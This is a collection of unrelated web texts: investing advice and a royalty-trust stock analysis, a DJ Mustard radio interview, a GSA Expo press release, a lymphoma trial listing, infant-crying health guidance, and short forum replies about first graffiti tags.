Expect market volatility, but avoid portfolio volatility. Be prepared financially (cash reserves) and psychologically to buy more of the quality stocks in your portfolio when stock prices take a hit. Be prepared to sell your more expensive valuations when markets are frothy.
After all these cautionary rules and strategies are taken to heart, realize there is NEVER a perfect time to invest. Uncertainty is a part of investing and that is why it's important to invest with the odds in your favor.
Cash is an important asset category to protect your portfolio in bear markets, and provide capital to buy assets when they are at bargain values. Asset correlation is usually highest in the worst selloff.
Work hard and do your homework. If you need help hire wise experts to help you.
These investment rules and strategies will make you a better value investor. You will reduce your number of mistakes and avoid many of the pitfalls that wreck investment portfolios. By concentrating on taking prudent risks that favor positive returns you boost your long term investment returns.
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DJ Mustard Opens up About Working With Rihanna
Photo: Sadao Turner/Ryan Seacrest Productions
By Kathleen Perricone
We've all heard "Mustard on that beat" at the start of tons of hit songs, like Jeremih's "Don't Tell 'Em," "Rack City" by Tyga, Tre Songz's "Na Na," and "Show Me" from Kid Ink.
And on Friday morning, we had the man himself, DJ Mustard, in-studio at On Air with Ryan Seacrest.
The mega-producer, 24, was here for nearly an hour and talked with JoJo Wright and Ellen K. about everything from the MTV Video Music Awards this Sunday (he'll be the house DJ!) and getting surprised by a call from Jay Z that changed his life … to his collection of tattoos.
Mustard (real name: Dijon McFarlane) explained how he accidentally first came up with "Mustard on that beat." The producer was living at rapper YG's house, "and he said it on a song a long time ago and I just took it from that song and put it on every single beat. It's the same thing [on every track], I just changed the tempo of it."
One of the most interesting things he revealed was the one artist whose track doesn't include his infamous line: Rihanna.
"She didn't say she didn't want it," he clarifies. "I just didn't use it. I didn't want them to take it off, and I'd be like, 'Uh, why'd you take it off?'"
Photo: Sadao Turner/Ryan Seacrest Productions
DJ Mustard also detailed what it's like recording in the same studio once used by Michael Jackson.
"When you first walk in the studio, you feel the presence of Michael," he says. "They have a thing, a glass wall with his glove and his hat, pictures. The room I work in is the room he used to work in. Upstairs from the room they call it the 'Monkey Room' because that's where his monkey used to chill at while he was recording. And when you go in the recording booth, you can see, if you look up, you can see the glass the monkey looked through and watched him record his music. It's a cool vibe and energy. It's like history!"
For more from DJ Mustard, like his favorite kind of mustard and his love of backpacks, listen to the audio above! And check out his track "10 Summers" on Google Play now here!


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Bleech! I never thought I'd be saying this – I agree with Newt Gingrich. Calling NPR's firing of Juan Williams "total censorship", Newt suggested that Congress ought to consider cutting off NPR's money. Juan Williams had been a popular news analyst for public radio. Popular, that is, until NPR decided otherwise and canned his [Read More…]
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GSA Expo 2007 Attendance Expected to Top 10000
May 15, 2007
Contact: Jon Anderson, (202) 295-7547
Orlando, Florida – The U.S. General Services Administration today opens GSA Expo 2007, its 13th major procurement showcase for federal, state and local customers. Consistent with a steady annual rise in attendance, GSA expects more than 10,000 this year.
Local and national vendors will capture the attention of purchasing agents and procurement decision-makers as they display their products and services during this event, taking place today through May 17 at the Orange County Convention Center in Orlando. GSA Expo 2007 is free for federal and military participants, as well as for state and local government procurement officials.
"GSA Expo 2007 provides GSA customers and industry partners a great opportunity to meet each other and see outstanding products and services from American industry," said GSA Administrator Lurita Doan. "This is also our premier event for GSA customers to grow their procurement and acquisition savvy through top-quality training. Together, we'll be better able to respond to agency missions on a fiscally and procedurally sound, as well as timely, basis; and we save money for the American taxpayer."
Those within the federal procurement community who find what they need at GSA Expo 2007 will be able to place their orders immediately by using GSAAdvantage!®, the agency's award-winning online ordering system. This system accesses GSA's Multiple Award Schedules program, the top acquisition program in the federal government for commercial services and products. GSA just opened the important Schedules program to state and local governments for purchasing disaster response and recovery products and services.
With more than 800 of GSA's commercial partners featured during GSA Expo 2007, the showcase continues its record as the agency's major customer outreach event. Held annually since 1996, this year's show will also offer more than 250 training hours on topics ranging from small business support to travel and transportation to personal property solutions to performance-based acquisition. Continuous Learning Points are awarded for all completed training, and classes are taught by federal subject matter experts carefully selected by GSA for their expertise.
For an agenda and other information about GSA Expo 2007, and/or to register online, visit GSA EXPO 2007.
Founded in 1949, GSA serves as a centralized procurement and property management agency for the federal government. GSA manages more than one-fourth of the government's total procurement dollars and influences the management of $500 billion in federal assets, including 8,300 government-owned or leased buildings and 205,000 vehicles. GSA helps preserve our past and define our future, as a steward of more than 420 historic properties, and as manager of USA.gov, the official portal to federal government information and services. GSA's mission to provide superior workplaces, expert technology solutions, acquisition services, purchasing and eGov Travel solutions and management policies, at best value, allows federal agencies to focus on their core missions.
Did You Know? GSA Expo 2007 attracted more than 830 exhibiting companies this year, up from 607 in 2006. Industry regard for Expo's value is so high that its 1200 exhibit spaces offered sold out within six hours this year. Exhibitors relate 91.6 percent got leads and sales from GSA Expo, and received more than $44 million in estimated sales from contacts made at GSA Expo. GSA Expo also offers GSA's unique Workplaces That Work, that shows GSA customers how they can depend on total workplace solutions that include everything from building or leasing an office building to furnishing every office product and service needed to establish a world-class workplace. This includes all required items from cutting-edge communications and information technology to paperclips.


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This is a Randomized, Open-Label, Phase 3 trial of brentuximab vedotin(SGN-35) Versus Physician's Choice (Methotrexate or Bexarotene) in Patients With CD30-Positive Cutaneous T-Cell Lymphoma
Webpage: http://www.clinicaltrials.gov/ct2/show/NCT01578499?term=vedotin&rank=17
Ages Eligible for Study: 18 Years and older
Genders Eligible for Study: Both
Accepts Healthy Volunteers: No
Inclusion Criteria:
Exclusion Criteria:
Please note that there are additional inclusion and exclusion criteria. The study center will determine if you meet all of the criteria.
Site personnel will explain the trial in detail and answer any question you may have if you do qualify for the study. You can then decide whether or not you wish to participate. If you do not qualify for the trial, site personnel will explain the reasons.
Millennium Pharmaceuticals, Inc.
Seattle Genetics, Inc.
Concord Repatriation General Hospital
Concord, Australia
Peter MacCallum Cancer Centre
East Melbourne, Australia
Sir Charles Gairdner Hospital
Nedlands, Australia
For an updated listing of recruitment sites contact: Millennium Medical and Drug Information Center 1-877-674-3784 or firstname.lastname@example.com
This is an automatic translation service and therefore the
Cutaneous Lymphoma Foundation is not responsible
for any potential translation inaccuracies.


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Excessive crying (infants 0-6 months)
Infants normally cry about 1 - 3 hours a day. It is perfectly normal for an infant to cry when hungry, thirst, tired, lonely, or in pain. It is also normal for a baby to have a fussy period in the evening.
However, if an infant cries too often it may be a sign of something that needs treatment.
Home care depends on the causes. Follow your health care provider's advice.
If the infant seems constantly hungry despite short, frequent feedings, talk to your doctor or nurse about normal growth and feeding times.
If crying is due to boredom or loneliness, it may be helpful to touch, hold, and talk to the infant more and place the infant within sight. Place baby-safe toys where the child can see them. If crying is due to sleep disturbance, wrap the baby firmly in a blanket before putting the infant to bed.
For excessive crying in infants due to cold, dress the infant warmly or adjust the temperature. Typically, if adults are cold, the baby is cold also.
Always check for possible causes of pain or discomfort in a crying baby. When cloth diapers are used, look for diaper pins that have become loose or loose threads that have become tightly wrapped around fingers or toes. Diaper rashes also can be uncomfortable.
Take your baby's temperature to check for fever. Check your baby head-to-toe for any injuries. Pay particular attention to the fingers, toes, and genitalia. It is not uncommon for a hair to get wrapped around part of your baby, such as a toe, creating pain.
Call your doctor or nurse if:
The doctor or nurse will examine your baby and ask questions about the child's medical history and symptoms. Questions may include:
The doctor or nurse will check the infant's growth and development. Antibiotics may be prescribed if the baby has a bacterial infection.


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The Real Life Exhibit is a walk-through, multi-sensory exhibit that allows people to experience what real life is like for children affected by disaster, conflict and poverty.
Visitors describe the experience: "Eye-opening." "I will never be the same." "Inspiring." "I must do something." "I can make a difference."
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a little kid... j/k i think it was on my skool... dunno mabey this was a few years ago.
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MY NAME IS OSAH!..... fear me.
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like with paint?
i used a can before a marker, and it was shitty, i think it was a parking garage, or a water tower thing
an electrical box
A hidden little spot under a bridge... then the cops drove by
under a bridge, SO NINJA DUDEEEEeee h34r:
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Stop sign
an emergency exit door.
paper...then i did bathroom stalls
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first actually graffiti piece, not talking about scribbling on the school tables in 5th grade.
First thing i did is tag a wall in a toilet d:
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"What are your thoughts on the BP Prudhoe Bay Royalty Trust (NYSE:BPT)? A number of articles have come out as to how bad this investment is but quarter after quarter and year after year the yield has held and the price has as well."
It was only a matter of time before royalty trusts started popping up again. These mega-yield players are always sought after when times are tough and interest rates are low – but they are not without risk.
The short answer: Like MLPs, royalty trusts are attractive because the companies enjoy big tax breaks and pass on big dividends – in the case of BPT, over 8% based on its last four payouts. Used correctly they can be a dividend goldmine. And in this environment, parking your cash in BPT for a year or even two could be a very wise move.
But before you dive in, understand that this is not like playing common stock. There are complicated tax rules; you get a K-1 like an MLP.
But most importantly, these trusts have a finite shelf life. Royalty trusts like BPT will literally all disappear two or three decades down the road.
Royalty Trusts are Pure Commodity Plays
The bottom line is that royalty trusts are worth little more than the underlying reserves. In the case of BPT, there are no oil rigs, no employees, no nothing on the balance sheet — just a well of crude oil in Alaska.
That's it. Period.
Royalty trusts often bear the name of an energy company that services them – in this case, the oil major BP (NYSE:BP) – but they are wholly separate when it comes to dividends and share pricing. The operations of a trust are simply the profits made as the energy or minerals are extracted and sold. And as a tax-free pass through instead of a corporation, these aren't really stocks in the conventional sense. They are simply a vehicle for the profits to trickle through to shareholders (technically "unit holders") as dividends (technically "distributions").
As you can understand, that means royalty trusts are a pure bet on commodity prices. In the case of the BP Prudhoe Bay Royalty Trust, it is driven by how much crude oil is extracted and how much the market price is when that crude leaves Prudhoe Bay. Logically if crude oil is going up in value then the trust goes up as it sells its oil for more on the open market, and vice versa.
For a commodity play, you can't do better. The Eca Marcellus Trust (NYSE:ECT) is almost 100% natural gas, and thus lives and dies by the price of gas. Some trusts are a mix of energy sources. Some like Great Northern Iron Ore Trust (NYSE:GNI) do metals. But all are locked to the price of their underlying assets and how much of those assets they produce each quarter.
Watch the Depletion and Volatility
There's one catch, of course. Royalty trusts are also called "depletion trusts" because as they have a finite life cycle. After they extract all the oil or gas from the ground they are literally worthless – shares go to zero, dividends stop, game over.
So you better be darn sure you know how long a royalty trust is going to be around before you buy in.
I'll repeat that: These investments will go to zero eventually. You cannot ignore this if you want to buy a royalty trust.
However, most investors can mitigate this very easily by simply sitting in a trust while reserves are plush and the depletion date is far down the road. There is never a precise count on reserves and estimates fluctuate, but building in cushion ensures you won't get burned.
All this information is available in quarterly reporting from the trusts to shareholders and the SEC.
The other big risk, of course, is commodity volatility. If oil prices crash then the BP Prudhoe Bay will see distributions crash too and there's nothing you can do about it.
And I'll reiterate that a minor risk, as mentioned above, is the tax complexity of these trusts. You get a special K-1 form for your taxes and often you have to file state income tax for the region in which the trust operates. This can be burdensome if you do your own taxes. Most of us mitigate this by going to a trusted CPA every April, but it must be noted here all the same.
Plenty of Time With BP Prudhoe Bay
So the only thing we must ask ourselves, really, is whether we think oil prices will stay firm and whether BPT has enough reserves underground to make it worth an investment.
Admittedly I do not believe that oil will firm up significantly anytime soon – check out my recent analysis of Transocean (NYSE:RIG) for more on that – so I would be reluctant to project significant increases in distributions due to a surge in crude.
However I don't think prices will crash anytime soon, and that means you can have faith in the history of distributions as long as they can keep up output.
The million dollar question, of course, is reserves. How long can this run last? Well, as of the 2011 annual report the trust said it had 73.476 million barrels of proved developed reserves and another 8.828 proved and undeveloped reserves. Annual production is about 5 million barrels, and waning slightly each year, prompting a depletion date of around 2025 for BPT according to internal estimates.
According to a recent SEC filing, BPT garnered an average oil price of $93.92 in the first quarter which led to a distribution of $2.31. If you think oil will stay in the low $90's then simply annualize this to $9.24 a year and you get a roughly 8% yield on current prices.
Not bad at all. And even if production is waning slightly, a 7% or even a 6% yield is mighty attractive in this market. If you can hang on to BPT for a dividend like that and then move your principle back out at break-even in a few years, that's a mighty nice proposition.
The big risk, of course, may be share prices. BPT has run up over 40% since January 2011 not because of surging distributions but more because of a run on high-yield investments. A cut in the payouts or the rise of a more attractive asset class could cause prices to collapse in a hurry. But with the market choppy and the Fed keeping rates low through 2014 that seems very unlikely near-term. Shares should hang tough as long as investors are looking for high-yield, low-risk opportunity.
Just be aware that when the tide shifts away from dividend stocks, you don't want to be the last one out of BPT. When income investors start to seek growth again and as depletion takes its toll, this stock could hit a wall.
But that wall seems two years or more down the road. Considering the dearth of alternatives and the importance of dividends right now, I think BPT may be a decent place to park some cash for a year or two – presuming you have an accountant to deal with the tax burden.
Do you have a stock that's on your mind? Drop me a line at firstname.lastname@example.com and I'll take a look at it.
Jeff Reeves is the editor of InvestorPlace.com and the author of "The Frugal Investor's Guide to Finding Great Stocks." Write him at firstname.lastname@example.com or follow him on Twitter via @JeffReevesIP. As of this writing, he did not own a position in any of the stocks named here.


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